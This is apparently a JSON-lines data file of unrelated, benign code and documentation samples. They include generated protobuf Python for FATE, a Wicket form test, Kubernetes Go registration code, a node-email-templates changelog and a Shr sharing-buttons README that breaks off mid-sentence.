\\x01(\\x0b\\x32\\x34.com.webank.ai.fate.core.mlmodel.buffer.OutlierParamB\\x12\\x42\\x10\\x44\\x61taIOParamProtob\\x06proto3')\n)\n\n\n\n\n_IMPUTERPARAM_MISSINGREPLACEVALUEENTRY = _descriptor.Descriptor(\n name='MissingReplaceValueEntry',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingReplaceValueEntry',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='key', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingReplaceValueEntry.key', index=0,\n number=1, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='value', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingReplaceValueEntry.value', index=1,\n number=2, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=_b('8\\001'),\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=296,\n serialized_end=354,\n)\n\n_IMPUTERPARAM_MISSINGVALUERATIOENTRY = _descriptor.Descriptor(\n name='MissingValueRatioEntry',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingValueRatioEntry',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='key', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingValueRatioEntry.key', index=0,\n number=1, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='value', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingValueRatioEntry.value', index=1,\n number=2, type=1, cpp_type=5, label=1,\n has_default_value=False, default_value=float(0),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=_b('8\\001'),\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=356,\n serialized_end=412,\n)\n\n_IMPUTERPARAM = _descriptor.Descriptor(\n name='ImputerParam',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='missing_replace_value', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.missing_replace_value', index=0,\n number=1, type=11, cpp_type=10, label=3,\n has_default_value=False, default_value=[],\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='missing_value_ratio', full_name='com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.missing_value_ratio', index=1,\n number=2, type=11, cpp_type=10, label=3,\n has_default_value=False, default_value=[],\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[_IMPUTERPARAM_MISSINGREPLACEVALUEENTRY, _IMPUTERPARAM_MISSINGVALUERATIOENTRY, ],\n enum_types=[\n ],\n serialized_options=None,\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=64,\n serialized_end=412,\n)\n\n\n_OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY = _descriptor.Descriptor(\n name='OutlierReplaceValueEntry',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierReplaceValueEntry',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='key', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierReplaceValueEntry.key', index=0,\n number=1, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='value', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierReplaceValueEntry.value', index=1,\n number=2, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=_b('8\\001'),\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=647,\n serialized_end=705,\n)\n\n_OUTLIERPARAM_OUTLIERVALUERATIOENTRY = _descriptor.Descriptor(\n name='OutlierValueRatioEntry',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierValueRatioEntry',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='key', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierValueRatioEntry.key', index=0,\n number=1, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='value', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierValueRatioEntry.value', index=1,\n number=2, type=1, cpp_type=5, label=1,\n has_default_value=False, default_value=float(0),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=_b('8\\001'),\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=707,\n serialized_end=763,\n)\n\n_OUTLIERPARAM = _descriptor.Descriptor(\n name='OutlierParam',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='outlier_replace_value', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.outlier_replace_value', index=0,\n number=1, type=11, cpp_type=10, label=3,\n has_default_value=False, default_value=[],\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='outlier_value_ratio', full_name='com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.outlier_value_ratio', index=1,\n number=2, type=11, cpp_type=10, label=3,\n has_default_value=False, default_value=[],\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[_OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY, _OUTLIERPARAM_OUTLIERVALUERATIOENTRY, ],\n enum_types=[\n ],\n serialized_options=None,\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=415,\n serialized_end=763,\n)\n\n\n_DATAIOPARAM = _descriptor.Descriptor(\n name='DataIOParam',\n full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='header', full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam.header', index=0,\n number=1, type=9, cpp_type=9, label=3,\n has_default_value=False, default_value=[],\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='sid_name', full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam.sid_name', index=1,\n number=2, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='label_name', full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam.label_name', index=2,\n number=3, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='imputer_param', full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam.imputer_param', index=3,\n number=4, type=11, cpp_type=10, label=1,\n has_default_value=False, default_value=None,\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n _descriptor.FieldDescriptor(\n name='outlier_param', full_name='com.webank.ai.fate.core.mlmodel.buffer.DataIOParam.outlier_param', index=4,\n number=5, type=11, cpp_type=10, label=1,\n has_default_value=False, default_value=None,\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=None,\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=766,\n serialized_end=987,\n)\n\n_IMPUTERPARAM_MISSINGREPLACEVALUEENTRY.containing_type = _IMPUTERPARAM\n_IMPUTERPARAM_MISSINGVALUERATIOENTRY.containing_type = _IMPUTERPARAM\n_IMPUTERPARAM.fields_by_name['missing_replace_value'].message_type = _IMPUTERPARAM_MISSINGREPLACEVALUEENTRY\n_IMPUTERPARAM.fields_by_name['missing_value_ratio'].message_type = _IMPUTERPARAM_MISSINGVALUERATIOENTRY\n_OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY.containing_type = _OUTLIERPARAM\n_OUTLIERPARAM_OUTLIERVALUERATIOENTRY.containing_type = _OUTLIERPARAM\n_OUTLIERPARAM.fields_by_name['outlier_replace_value'].message_type = _OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY\n_OUTLIERPARAM.fields_by_name['outlier_value_ratio'].message_type = _OUTLIERPARAM_OUTLIERVALUERATIOENTRY\n_DATAIOPARAM.fields_by_name['imputer_param'].message_type = _IMPUTERPARAM\n_DATAIOPARAM.fields_by_name['outlier_param'].message_type = _OUTLIERPARAM\nDESCRIPTOR.message_types_by_name['ImputerParam'] = _IMPUTERPARAM\nDESCRIPTOR.message_types_by_name['OutlierParam'] = _OUTLIERPARAM\nDESCRIPTOR.message_types_by_name['DataIOParam'] = _DATAIOPARAM\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\n\nImputerParam = _reflection.GeneratedProtocolMessageType('ImputerParam', (_message.Message,), dict(\n\n MissingReplaceValueEntry = _reflection.GeneratedProtocolMessageType('MissingReplaceValueEntry', (_message.Message,), dict(\n DESCRIPTOR = _IMPUTERPARAM_MISSINGREPLACEVALUEENTRY,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingReplaceValueEntry)\n ))\n ,\n\n MissingValueRatioEntry = _reflection.GeneratedProtocolMessageType('MissingValueRatioEntry', (_message.Message,), dict(\n DESCRIPTOR = _IMPUTERPARAM_MISSINGVALUERATIOENTRY,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingValueRatioEntry)\n ))\n ,\n DESCRIPTOR = _IMPUTERPARAM,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.ImputerParam)\n ))\n_sym_db.RegisterMessage(ImputerParam)\n_sym_db.RegisterMessage(ImputerParam.MissingReplaceValueEntry)\n_sym_db.RegisterMessage(ImputerParam.MissingValueRatioEntry)\n\nOutlierParam = _reflection.GeneratedProtocolMessageType('OutlierParam', (_message.Message,), dict(\n\n OutlierReplaceValueEntry = _reflection.GeneratedProtocolMessageType('OutlierReplaceValueEntry', (_message.Message,), dict(\n DESCRIPTOR = _OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierReplaceValueEntry)\n ))\n ,\n\n OutlierValueRatioEntry = _reflection.GeneratedProtocolMessageType('OutlierValueRatioEntry', (_message.Message,), dict(\n DESCRIPTOR = _OUTLIERPARAM_OUTLIERVALUERATIOENTRY,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierValueRatioEntry)\n ))\n ,\n DESCRIPTOR = _OUTLIERPARAM,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.OutlierParam)\n ))\n_sym_db.RegisterMessage(OutlierParam)\n_sym_db.RegisterMessage(OutlierParam.OutlierReplaceValueEntry)\n_sym_db.RegisterMessage(OutlierParam.OutlierValueRatioEntry)\n\nDataIOParam = _reflection.GeneratedProtocolMessageType('DataIOParam', (_message.Message,), dict(\n DESCRIPTOR = _DATAIOPARAM,\n __module__ = 'data_io_param_pb2'\n # @@protoc_insertion_point(class_scope:com.webank.ai.fate.core.mlmodel.buffer.DataIOParam)\n ))\n_sym_db.RegisterMessage(DataIOParam)\n\n\nDESCRIPTOR._options = None\n_IMPUTERPARAM_MISSINGREPLACEVALUEENTRY._options = None\n_IMPUTERPARAM_MISSINGVALUERATIOENTRY._options = None\n_OUTLIERPARAM_OUTLIERREPLACEVALUEENTRY._options = None\n_OUTLIERPARAM_OUTLIERVALUERATIOENTRY._options = None\n# @@protoc_insertion_point(module_scope)\n"} +{"text": "mkdir train\n\nfor i in `ls ./train_data`\ndo\n cat train_data/$i | python get_slot_data.py > train/$i\ndone\n"} +{"text": "[antoinepairet]: https://github.com/antoinepairet\n[jasonsims]: https://github.com/jasonsims\n[nicjansma]: https://github.com/nicjansma\n[miguelmota]: https://github.com/miguelmota\n[vekexasia]: https://github.com/vekexasia\n[nikuph]: https://github.com/nikuph\n[jonkemp]: https://github.com/jonkemp\n[jscharlach]: https://github.com/jscharlach\n[skimmmer]: https://github.com/skimmmer\n[jksdua]: https://github.com/jksdua\n[DesignByOnyx]: https://github.com/DesignByOnyx\n[anotherjazz]: https://github.com/anotherjazz\n[jeduan]: https://github.com/jeduan\n[kingcody]: https://github.com/kingcody\n[remicastaing]: https://github.com/remicastaing\n\n## 1.3.0 (2015-05-22)\n* development: [@andybrown](https://github.com/astephenb) Supports node-sass 3.0\n\n## 1.2.1 (2015-03-18)\n* enhancement: [@kingcody][kingcody] Supports less 2.0\n* enhancement: [@remicastaing][remicastaing] Allow using import in scss files\n* enhancement: [@kewisch][kewisch] Allow passing options to juice\n\n## 1.2.0 (2015-02-17)\n* enhancement: [@jeduan][jeduan] Migrates back to Juice to support Node.js 0.12\n* enhancement: [@jeduan][jeduan] Uses consolidate.js\n* enhancement: [@gierschv][gierschv] Uses node-sass 2.0\n\n## 1.1.0 (2014-07-05)\n* enhancement: [@DesignByOnyx][DesignByOnyx]: Add support for filename prefix\n* enhancement: [@skimmmer][skimmmer]: Add dust-linkedin template engine\n* enhancement: [@anotherjazz][anotherjazz]: Add emblem template engine\n* development: [@jksdua][jksdua]: Update node-sass version\n\n## 1.0.0 (2014-05-27)\n* bugfix: [@jscharlach][jscharlach]: Fix template scope issues\n* development: [@jasonsims][jasonsims]: Update all project dependencies\n* development: [@jasonsims][jasonsims]: Drop support for node v0.8.x\n* development: [@jonkemp][jonkemp]: Switch to Juice2\n\n## 0.1.8 (2014-04-03)\n* enhancement: [@nikuph][nikuph]: Add support for LESS @import statement\n* development: [@jasonsims][jasonsims]: Add test coverage for LESS @import\n\n## 0.1.7 (2014-03-24)\n* enhancement: [@antoinepairet][antoinepairet]: Add support for `.scss` file extension\n* development: Moved changelog to CHANGELOG.md\n* development: [@jasonsims][jasonsims]: Added [TravisCI][travisci] integration\n[travisci]: https://travis-ci.org/niftylettuce/node-email-templates\n\n## 0.1.6 (2014-03-14)\n* development: [@jasonsims][jasonsims]: Deprecated windows branch and module\n\n## 0.1.5 (2014-03-13)\n* bugfix: [@miguelmota][miguelmota]: Batch templateName issue\n\n## 0.1.4 (2014-03-10)\n* bugfix: Misc bugfixes to main\n* development: [@jasonsims][jasonsims]: Abstracted templateManager\n* development: [@jasonsims][jasonsims]: Added integration tests\n* development: [@jasonsims][jasonsims]: Added unit tests\n\n## 0.1.3 (2014-03-03)\n* enhancement: [@jasonsims][jasonsims]: Added support for various CSS pre-processors\n\n## 0.1.2 (2014-02-22)\n* enhancement: [@jasonsims][jasonsims]: Added support for multiple HTML template engines\n\n## 0.1.1 (2013-12-14)\n* bugfix: Long path issue for Windows\n\n## 0.1.0 (2013-04-16)\n* bugfix: Batch documentation issue\n\n## 0.0.9\n* bugfix: Juice dependency issue\n\n## 0.0.8 (2013-03-03)\n* enhancement: Minor updates\n\n## 0.0.7\n* enhancement: [@nicjansma][nicjansma]: Added support for ejs's include directive\n\n## 0.0.6 (2012-11-01)\n* bugfix: [@vekexasia][vekexasia]: Fixed batch problem (...has no method slice)\n\n## 0.0.5 (2012-09-12)\n* enhancement: Added support for an optional zlib compression type. You can\n now return compressed html/text buffer for db storage\n\n ```javascript\n template('newsletter', locals, 'deflateRaw', function(err, html, text) {\n // The `html` and `text` are buffers compressed using zlib.deflateRaw\n // \n // **NOTE**: You could also pass 'deflate' or 'gzip' if necessary, and it works with batch rendering as well\n })\n ```\n\n## 0.0.4\n* enhancement: Removed requirement for style.css and text.ejs files with\n compatibility in node v0.6.x to v0.8.x. It now utilizes path.exists instead\n of fs.exists respectively.\n"} +{"text": "/*\r\n * Licensed to the Apache Software Foundation (ASF) under one or more\r\n * contributor license agreements. See the NOTICE file distributed with\r\n * this work for additional information regarding copyright ownership.\r\n * The ASF licenses this file to You under the Apache License, Version 2.0\r\n * (the \"License\"); you may not use this file except in compliance with\r\n * the License. You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\npackage org.apache.wicket.markup.html.form;\r\n\r\nimport static org.junit.jupiter.api.Assertions.assertEquals;\r\n\r\nimport org.apache.wicket.util.tester.WicketTestCase;\r\nimport org.junit.jupiter.api.Test;\r\n\r\n/**\r\n */\r\nclass FormMultiPartTest extends WicketTestCase\r\n{\r\n\r\n\t@Test\r\n\tvoid multipartHard()\r\n\t{\r\n\t\tMultiPartFormPage page = new MultiPartFormPage();\r\n\r\n\t\tpage.form.setMultiPart(true);\r\n\t\ttester.startPage(page);\r\n\r\n\t\tassertEquals(0, page.asked);\r\n\r\n\t\tassertEquals(true, page.form.isMultiPart());\r\n\t}\r\n\r\n\t@Test\r\n\tvoid multipartHint()\r\n\t{\r\n\t\tMultiPartFormPage page = new MultiPartFormPage();\r\n\r\n\t\tpage.multiPart = false;\r\n\t\ttester.startPage(page);\r\n\t\tassertEquals(1, page.asked);\r\n\t\tassertEquals(false, page.form.isMultiPart());\r\n\r\n\t\tpage.multiPart = true;\r\n\t\ttester.newFormTester(\"form\").submit(page.button1);\r\n\t\tassertEquals(2, page.asked);\r\n\t\tassertEquals(true, page.form.isMultiPart());\r\n\r\n\t\tpage.multiPart = false;\r\n\t\ttester.newFormTester(\"form\").submit(page.button1);\r\n\t\tassertEquals(3, page.asked);\r\n\t\tassertEquals(false, page.form.isMultiPart());\r\n\t}\r\n\r\n\t@Test\r\n\tvoid multipartHintAjax()\r\n\t{\r\n\t\tMultiPartFormPage page = new MultiPartFormPage();\r\n\r\n\t\tpage.multiPart = false;\r\n\t\ttester.startPage(page);\r\n\t\tassertEquals(1, page.asked);\r\n\t\tassertEquals(false, page.form.isMultiPart());\r\n\r\n\t\tpage.multiPart = true;\r\n\t\ttester.executeAjaxEvent(page.button1, \"click\");\r\n\t\tassertEquals(2, page.asked);\r\n\t\tassertEquals(true, page.form.isMultiPart());\r\n\r\n\t\tpage.multiPart = false;\r\n\t\ttester.executeAjaxEvent(page.button1, \"click\");\r\n\t\tassertEquals(3, page.asked);\r\n\t\tassertEquals(false, page.form.isMultiPart());\r\n\t}\r\n}\r\n"} +{"text": "/*\nCopyright 2018 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1alpha1\n\nimport (\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/apimachinery/pkg/runtime\"\n\t\"k8s.io/apimachinery/pkg/runtime/schema\"\n)\n\n// GroupName is the group name use in this package\nconst GroupName = \"auditregistration.k8s.io\"\n\n// SchemeGroupVersion is group version used to register these objects\nvar SchemeGroupVersion = schema.GroupVersion{Group: GroupName, Version: \"v1alpha1\"}\n\n// Resource takes an unqualified resource and returns a Group qualified GroupResource\nfunc Resource(resource string) schema.GroupResource {\n\treturn SchemeGroupVersion.WithResource(resource).GroupResource()\n}\n\nvar (\n\tSchemeBuilder runtime.SchemeBuilder\n\tlocalSchemeBuilder = &SchemeBuilder\n\tAddToScheme = localSchemeBuilder.AddToScheme\n)\n\nfunc init() {\n\t// We only register manually written functions here. The registration of the\n\t// generated functions takes place in the generated files. The separation\n\t// makes the code compile even when the generated files are missing.\n\tlocalSchemeBuilder.Register(addKnownTypes)\n}\n\nfunc addKnownTypes(scheme *runtime.Scheme) error {\n\tscheme.AddKnownTypes(SchemeGroupVersion,\n\t\t&AuditSink{},\n\t\t&AuditSinkList{},\n\t)\n\tmetav1.AddToGroupVersion(scheme, SchemeGroupVersion)\n\treturn nil\n}\n"} +{"text": "# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl.html).\n\nfrom . import models\n"} +{"text": "# Shr\n\nSimple, clean, customizable sharing buttons.\n\n[Donate to support Shr](#donate) - [Checkout the demo](https://shr.one)\n\n[![Image of Shr](https://cdn.shr.one/shr.png)](https://shr.one)\n\n## Why?\n\nThe default share buttons used by the social networks are not only ugly to look at (sorry, they just are) but they usually depend on iframes, are slow and generally heavy. That led to me creating shr (short for share).\n\n## Features\n\n- **Accessible** - built using progressive enhancement\n- **Lightweight** - just 3KB minified and gzipped\n- **Customisable** - make the buttons and count look how you want with the markup you want\n- **Semantic** - uses the _right_ elements. There's no ``s as buttons type hacks\n- **Fast** - uses local storage to cache results to keep things fast\n- **No dependencies** - written in \"vanilla\" ES6 JavaScript\n\n## Changelog\n\nCheck out [the changelog](changelog.md)\n\n## Setup\n\nTo set up Shr, you first must include the JavaScript lib and optionally the CSS and SVG sprite if you want icons on your buttons.\n\n### 1. HTML\n\nHere's an example for a Facebook button, see [HTML section](#HTML) below for other examples.\n\n```html\n\n \n Share\n\n```\n\nThis markup assumes you're using the SVG sprite (which is optional) and the default CSS. If you're not using either of these then you can omit the `shr__*` classNames completely and the ``. The `href` attribute value is used to determine the type of network. It is also used as the fallback so must be valid.\n\nOnce Shr has been initialized on a button and data has been fetched, it is manipulated as below:\n\n```html\n\n \n \n Share\n \n 888\n\n```\n\n- The outer `` is a wrapper so that we can prevent the count wrapping under the button and just looking odd\n- The count `` is used as the bubble for the current count for share, star or subscriber, etc\n- The className for both of these elements can be changed in [options](#options)\n\n### 2. JavaScript\n\nThere are two ways you can get up and running with JavaScript:\n\n#### via the npm package\n\nIf you're using npm/yarn to manage your dependencies, you can add `shr-buttons`:\n\n```bash\nnpm install --save shr-buttons\n```\n\nand then in your JavaScript app:\n\n```javascript\nimport Shr from 'shr-buttons';\n```\n\n#### via a `\n```\n\nAlternatively add the script to your main app bundle.\n\n##### Initialize\n\nYou can initialise a single button using the constructor:\n\n```javascript\nconst button = new Shr('.js-shr', { ...options });\n```\n\nThis will setup all elements that match the `.js-shr` selector. The first argument must be either a:\n\n- CSS string selector that's compatible with [`querySelector`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector),\n- a [`HTMLElement`](https://developer.mozilla.org/en/docs/Web/API/HTMLElement)\n- a [NodeList](https://developer.mozilla.org/en-US/docs/Web/API/NodeList)\n- an [Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) of [HTMLElement](https://developer.mozilla.org/en/docs/Web/API/HTMLElement)\n\nThis will return an instance that you can use for API calls later.\n\nMore information about the `options` can be found in [options section](#options) below.\n\nAlternatively, an easier way if you have multiple buttons is to use the static method:\n\n```javascript\nconst buttons = Shr.setup('.js-shr', { ...options });\n```\n\nThis will return an array of instances it setup.\n\n_Note_: `Shr.setup` will also look for mutations of the DOM and and matching elements will also be setup if they are injected into the DOM after initial setup.\n\n### 3. CSS _(optional)_\n\nYou don't have to use the Shr CSS. You're free to style the buttons how you like. You can either include the SASS in your build or use the CDN hosted CSS in your ``:\n\n```html\n\n```\n\n### 4. SVG Sprite (_optional_)\n\nIr you want to display the icons for each social network as per the demo, you can use the included [SVG sprite](https://css-tricks.com/svg-sprites-use-better-icon-fonts/). If you already have a sprite system, then you can include the SVG icons as-is. Otherwise, you can use something like [sprite.js](https://gist.github.com/sampotts/15adab33ff3af87f902db0253f0df8dd).\n\n## API\n\nA few useful methods are exposed. To call an API method, you need a reference to the instance. This is returned from `Shr.setup` or your call the the constructor (`new Shr`), e.g.:\n\n```javascript\nconst button = new Shr('.js-shr-facebook', { ...options });\n\nbutton\n .getCount()\n .then(count => {\n // Do something with count 😎\n })\n .catch(error => {\n // Something went wrong 😢\n });\n```\n\n| Method | Parameters | Description |\n| ------------------ | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `getCount()` | - | Returns a [`Promise`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) that will either resolve with a count or an error. |\n| `openPopup(event)` | `Event` | Open the associated dialog. This will be blocked unless it is as a result of user input. We'd suggest calling this as the callback for `addEventListener` or similar and passing the relevant event. |\n\n---\n\nThe following needs revision.\n\n---\n\n## Options\n\nThere are a ton of options that ship with Shr. These allow you to customize the library to your needs.\n\n### debug\n\n_Default_: `false`\n_Type_: Boolean\n\nIf you are are just debugging Shr in a development environment, you can turn on debugging when you setup.\n\n```javascript\nShr.setup('.js-shr', {\n debug: true,\n});\n```\n\n### count.className\n\n_Default_: `shr__count`\n_Type_: String\n\nWhen adding the share count element to the screen, this is the className used to style it.\n\n```javascript\nShr.setup('.js-shr', {\n count: {\n className: 'your-class-name',\n },\n});\n```\n\n### count.displayZero\n\n_Default_: `false`\n_Type_: Boolean\n\nSometimes your URL has not been shared yet. You can choose whether or not you want to display 0 shares or not. Some APIs don't allow for the actual count, so those APIs will just be a link to share (such as Twitter) and won't show the count if this is turned on or not.\n\n```javascript\nShr.setup('.js-shr', {\n count: {\n displayZero: 'your-class-name',\n },\n});\n```\n\n### count.format\n\n_Default_: `true`\n_Type_: Boolean\n\nBy default, Shr shortens the amount of shares to an easier to read number. Say you have a URL that went viral and you have over 1 million shares. By default, Shr shows this as 1 M. You can, however, turn this off and show the exact amount of shares.\n\n```javascript\nShr.setup('.js-shr', {\n count: {\n format: false,\n },\n});\n```\n\n### count.position\n\n_Default_: `after`\n_Type_: Enum (`'before'` or `'after'`)\n\nBy default, the number of shares shows up after the social icon. This means it's to the right of the icon. You can change this to be before the social icon (the left of the icon) by setting this value to `before`.\n\n```javascript\nShr.setup('.js-shr', {\n count: {\n position: 'before',\n },\n});\n```\n\n### count.increment\n\n_Default_: `true`\n_Type_: Boolean\n\nWhen the user clicks the share icon, we automatically update the count. However, this is assuming that the user went through with the sharing. This is for speed and reactivity. If you don't want this behavior, you can set this value to false.\n\n```javascript\nShr.setup('.js-shr', {\n count: {\n increment: false,\n },\n});\n```\n\n### storage\n\n_Default_:\n\n```javascript\n{\n enabled: true,\n key: 'shr',\n ttl: 300000,\n}\n```\n\n_Type_:\n\n```javascript\n{\n enabled: Boolean, // Whether storage is supported\n key: String, // Key to be used in local storage - (NOTE: can't contain special characters or whitespace)\n ttl: Number, // Seconds to keep the storage valid\n}\n```\n\nTo save requests and speed up your site, Shr saves all of the values used to local storage. The two keys you can set are the `key` of the local storage and the time to live (AKA: how long do you want these values to last before we refresh). These can be customized to your liking in the setup like.\n\n```javascript\nShr.setup('.js-shr', {\n storage: {\n key: `yourkey`,\n ttl: 100,\n },\n});\n```\n\n## HTML\n\nShr provides a ton of networks that can be used on your site. Each button has certain attributes that need to be defined in order for Shr to operate 